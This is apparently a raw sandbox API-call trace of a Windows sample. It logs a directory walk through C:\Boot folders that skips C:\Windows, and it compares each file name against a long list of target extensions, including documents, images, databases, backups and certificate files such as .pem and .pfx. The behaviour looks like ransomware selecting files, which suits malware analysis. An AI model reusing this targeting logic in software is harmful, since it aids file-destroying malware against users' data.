[0068.902] lstrcmpiW (lpString1=".mhtml", lpString2="") returned 1 [0068.902] lstrcmpiW (lpString1=".mka", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mkidx", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mkv", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mos", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mov", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mp3", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mp4", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mpeg", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mpg", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mpv", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mrw", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".msg", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".mxl", lpString2="") returned 1 [0068.903] lstrcmpiW (lpString1=".myd", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".myi", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".nef", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".nrw", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".obj", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".odb", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".odc", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".odm", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".odp", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".ods", lpString2="") returned 1 [0068.904] lstrcmpiW (lpString1=".oft", lpString2="") returned 1 [0068.905] lstrcmpiW (lpString1=".one", lpString2="") returned 1 [0068.905] lstrcmpiW (lpString1=".onepkg", lpString2="") returned 1 [0068.905] lstrcmpiW (lpString1=".onetoc2", lpString2="") returned 1 [0068.905] lstrcmpiW (lpString1=".opt", lpString2="") returned 1 [0068.905] lstrcmpiW (lpString1=".oqy", lpString2="") returned 1 [0068.905] lstrcmpiW (lpString1=".orf", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".p12", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".p7b", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".p7c", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pam", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pbm", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pct", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pcx", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pdd", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pdf", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pdp", lpString2="") returned 1 [0068.906] lstrcmpiW (lpString1=".pef", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".pem", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".pff", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".pfm", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".pfx", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".pgm", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".php", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".php3", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".php4", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".php5", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".phtml", lpString2="") returned 1 [0068.907] lstrcmpiW (lpString1=".pict", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".pl", lpString2="BCD") returned -1 [0068.908] lstrcmpiW (lpString1=".pls", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".pm", lpString2="BCD") returned -1 [0068.908] lstrcmpiW (lpString1=".png", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".pnm", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".pot", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".potm", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".potx", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".ppa", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".ppam", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".ppm", lpString2="") returned 1 [0068.908] lstrcmpiW (lpString1=".pps", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".ppsm", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".ppt", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".pptm", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".pptx", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".prn", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".ps", lpString2="BCD") returned -1 [0068.909] lstrcmpiW (lpString1=".psb", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".psd", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".pst", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".ptx", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".pub", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".pwm", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".pxr", lpString2="") returned 1 [0068.909] lstrcmpiW (lpString1=".py", lpString2="BCD") returned -1 [0068.910] lstrcmpiW (lpString1=".qt", lpString2="BCD") returned -1 [0068.910] lstrcmpiW (lpString1=".r3d", lpString2="") returned 1 [0068.910] lstrcmpiW (lpString1=".raf", lpString2="") returned 1 [0068.910] lstrcmpiW (lpString1=".rar", lpString2="") returned 1 [0068.911] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38a0068 [0068.911] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x622588 [0068.984] FindNextFileW (in: hFindFile=0x622588, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.984] FindNextFileW (in: hFindFile=0x622588, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.986] FindClose (in: hFindFile=0x622588 | out: hFindFile=0x622588) returned 1 [0068.986] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x38a0068 | out: hHeap=0x5d0000) returned 1 [0068.986] FindNextFileW (in: hFindFile=0x628588, lpFindFileData=0x2eefa84 | out: lpFindFileData=0x2eefa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0068.986] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0068.986] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\da-DK") returned 1 [0068.986] lstrlenW (lpString="da-DK") returned 5 [0068.986] lstrcmpiW (lpString1="C:\\Windows", lpString2="da-DK") returned -1 [0068.986] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xfffe) returned 0x38a0068 [0068.987] lstrlenW (lpString="C:\\Boot\\da-DK") returned 13 [0068.987] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x622588 [0068.987] FindNextFileW (in: hFindFile=0x622588, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.987] FindNextFileW (in: hFindFile=0x622588, lpFindFileData=0x2eef808 | out: lpFindFileData=0x2eef808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0068.988] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0068.988] lstrlenW (lpString=".1cd") returned 4 [0068.988] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0068.988] lstrlenW (lpString=".3ds") returned 4 [0068.988] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0068.988] lstrlenW (lpString=".3fr") returned 4 [0068.988] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0068.988] lstrlenW (lpString=".3g2") returned 4 [0068.988] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0068.988] lstrlenW (lpString=".3gp") returned 4 [0068.988] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0068.988] lstrlenW (lpString=".7z") returned 3 [0068.988] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0068.988] lstrlenW (lpString=".accda") returned 6 [0068.988] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0068.989] lstrlenW (lpString=".accdb") returned 6 [0068.989] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0068.989] lstrlenW (lpString=".accdc") returned 6 [0068.989] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0068.989] lstrlenW (lpString=".accde") returned 6 [0068.989] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0068.989] lstrlenW (lpString=".accdt") returned 6 [0068.989] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0068.989] lstrlenW (lpString=".accdw") returned 6 [0068.989] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0068.989] lstrlenW (lpString=".adb") returned 4 [0068.989] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0068.989] lstrlenW (lpString=".adp") returned 4 [0068.989] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0068.989] lstrlenW (lpString=".ai") returned 3 [0068.989] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0068.989] lstrlenW (lpString=".ai3") returned 4 [0068.990] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".ai4") returned 4 [0068.990] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".ai5") returned 4 [0068.990] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".ai6") returned 4 [0068.990] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".ai7") returned 4 [0068.990] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".ai8") returned 4 [0068.990] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".anim") returned 5 [0068.990] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0068.990] lstrlenW (lpString=".arw") returned 4 [0068.990] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0068.990] lstrlenW (lpString=".as") returned 3 [0068.990] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0068.991] lstrlenW (lpString=".asa") returned 4 [0068.991] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0068.991] lstrlenW (lpString=".asc") returned 4 [0068.991] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0068.991] lstrlenW (lpString=".ascx") returned 5 [0068.991] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0068.991] lstrlenW (lpString=".asm") returned 4 [0068.991] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0068.991] lstrlenW (lpString=".asmx") returned 5 [0068.991] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0068.991] lstrlenW (lpString=".asp") returned 4 [0068.991] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0068.991] lstrlenW (lpString=".aspx") returned 5 [0068.991] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0068.991] lstrlenW (lpString=".asr") returned 4 [0068.991] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0068.991] lstrlenW (lpString=".asx") returned 4 [0068.992] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0068.992] lstrlenW (lpString=".avi") returned 4 [0068.992] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0068.992] lstrlenW (lpString=".avs") returned 4 [0068.992] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0068.992] lstrlenW (lpString=".backup") returned 7 [0068.992] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0068.992] lstrlenW (lpString=".bak") returned 4 [0068.992] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0068.992] lstrlenW (lpString=".bay") returned 4 [0068.992] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0068.992] lstrlenW (lpString=".bd") returned 3 [0068.992] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0068.992] lstrlenW (lpString=".bin") returned 4 [0068.992] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0068.992] lstrlenW (lpString=".bmp") returned 4 [0068.992] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".bz2") returned 4 [0068.993] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".c") returned 2 [0068.993] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0068.993] lstrlenW (lpString=".cdr") returned 4 [0068.993] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".cer") returned 4 [0068.993] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".cf") returned 3 [0068.993] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0068.993] lstrlenW (lpString=".cfc") returned 4 [0068.993] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".cfm") returned 4 [0068.993] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".cfml") returned 5 [0068.993] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0068.993] lstrlenW (lpString=".cfu") returned 4 [0068.993] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0068.993] lstrlenW (lpString=".chm") returned 4 [0068.993] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".cin") returned 4 [0068.994] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".class") returned 6 [0068.994] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0068.994] lstrlenW (lpString=".clx") returned 4 [0068.994] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".config") returned 7 [0068.994] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0068.994] lstrlenW (lpString=".cpp") returned 4 [0068.994] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".cr2") returned 4 [0068.994] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".crt") returned 4 [0068.994] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".crw") returned 4 [0068.994] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0068.994] lstrlenW (lpString=".cs") returned 3 [0068.994] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0068.995] lstrlenW (lpString=".css") returned 4 [0068.995] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0068.995] lstrlenW (lpString=".csv") returned 4 [0068.995] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0068.995] lstrlenW (lpString=".cub") returned 4 [0068.995] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0068.995] lstrlenW (lpString=".dae") returned 4 [0068.995] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0068.995] lstrlenW (lpString=".dat") returned 4 [0068.995] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0068.995] lstrlenW (lpString=".db") returned 3 [0068.995] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0068.995] lstrlenW (lpString=".dbf") returned 4 [0068.995] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0068.995] lstrlenW (lpString=".dbx") returned 4 [0068.996] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".dc3") returned 4 [0068.997] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".dcm") returned 4 [0068.997] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".dcr") returned 4 [0068.997] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".der") returned 4 [0068.997] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".dib") returned 4 [0068.997] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".dic") returned 4 [0068.997] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".dif") returned 4 [0068.997] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0068.997] lstrlenW (lpString=".divx") returned 5 [0068.997] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0068.997] lstrlenW (lpString=".djvu") returned 5 [0068.997] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0068.997] lstrlenW (lpString=".dng") returned 4 [0068.998] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0068.998] lstrlenW (lpString=".doc") returned 4 [0068.998] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0068.998] lstrlenW (lpString=".docm") returned 5 [0068.998] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0068.998] lstrlenW (lpString=".docx") returned 5 [0068.998] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0068.998] lstrlenW (lpString=".dot") returned 4 [0068.998] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0068.998] lstrlenW (lpString=".dotm") returned 5 [0068.998] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0068.998] lstrlenW (lpString=".dotx") returned 5 [0068.998] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0068.998] lstrlenW (lpString=".dpx") returned 4 [0068.998] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0068.998] lstrlenW (lpString=".dqy") returned 4 [0068.998] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0068.998] lstrlenW (lpString=".dsn") returned 4 [0068.998] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".dt") returned 3 [0068.999] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0068.999] lstrlenW (lpString=".dtd") returned 4 [0068.999] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".dwg") returned 4 [0068.999] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".dwt") returned 4 [0068.999] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".dx") returned 3 [0068.999] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0068.999] lstrlenW (lpString=".dxf") returned 4 [0068.999] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".edml") returned 5 [0068.999] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0068.999] lstrlenW (lpString=".efd") returned 4 [0068.999] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".elf") returned 4 [0068.999] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".emf") returned 4 [0068.999] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0068.999] lstrlenW (lpString=".emz") returned 4 [0068.999] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".epf") returned 4 [0069.000] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".eps") returned 4 [0069.000] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".epsf") returned 5 [0069.000] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0069.000] lstrlenW (lpString=".epsp") returned 5 [0069.000] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0069.000] lstrlenW (lpString=".erf") returned 4 [0069.000] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".exr") returned 4 [0069.000] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".f4v") returned 4 [0069.000] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".fido") returned 5 [0069.000] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0069.000] lstrlenW (lpString=".flm") returned 4 [0069.000] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0069.000] lstrlenW (lpString=".flv") returned 4 [0069.001] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".frm") returned 4 [0069.001] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".fxg") returned 4 [0069.001] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".geo") returned 4 [0069.001] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".gif") returned 4 [0069.001] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".grs") returned 4 [0069.001] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".gz") returned 3 [0069.001] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0069.001] lstrlenW (lpString=".h") returned 2 [0069.001] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0069.001] lstrlenW (lpString=".hdr") returned 4 [0069.001] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".hpp") returned 4 [0069.001] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0069.001] lstrlenW (lpString=".hta") returned 4 [0069.002] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".htc") returned 4 [0069.002] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".htm") returned 4 [0069.002] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".html") returned 5 [0069.002] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0069.002] lstrlenW (lpString=".icb") returned 4 [0069.002] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".ics") returned 4 [0069.002] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".iff") returned 4 [0069.002] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".inc") returned 4 [0069.002] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0069.002] lstrlenW (lpString=".indd") returned 5 [0069.002] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0069.002] lstrlenW (lpString=".ini") returned 4 [0069.003] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".iqy") returned 4 [0069.003] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".j2c") returned 4 [0069.003] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".j2k") returned 4 [0069.003] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".java") returned 5 [0069.003] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0069.003] lstrlenW (lpString=".jp2") returned 4 [0069.003] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".jpc") returned 4 [0069.003] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".jpe") returned 4 [0069.003] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0069.003] lstrlenW (lpString=".jpeg") returned 5 [0069.003] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0069.004] lstrlenW (lpString=".jpf") returned 4 [0069.004] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0069.004] lstrlenW (lpString=".jpg") returned 4 [0069.004] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0069.004] lstrlenW (lpString=".jpx") returned 4 [0069.004] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0069.004] lstrlenW (lpString=".js") returned 3 [0069.004] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0069.004] lstrlenW (lpString=".jsf") returned 4 [0069.004] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0069.004] lstrlenW (lpString=".json") returned 5 [0069.004] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0069.004] lstrlenW (lpString=".jsp") returned 4 [0069.004] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0069.004] lstrlenW (lpString=".kdc") returned 4 [0069.004] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".kmz") returned 4 [0069.005] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0069.005] lstrlenW (lpString=".kwm") returned 4 [0069.005] 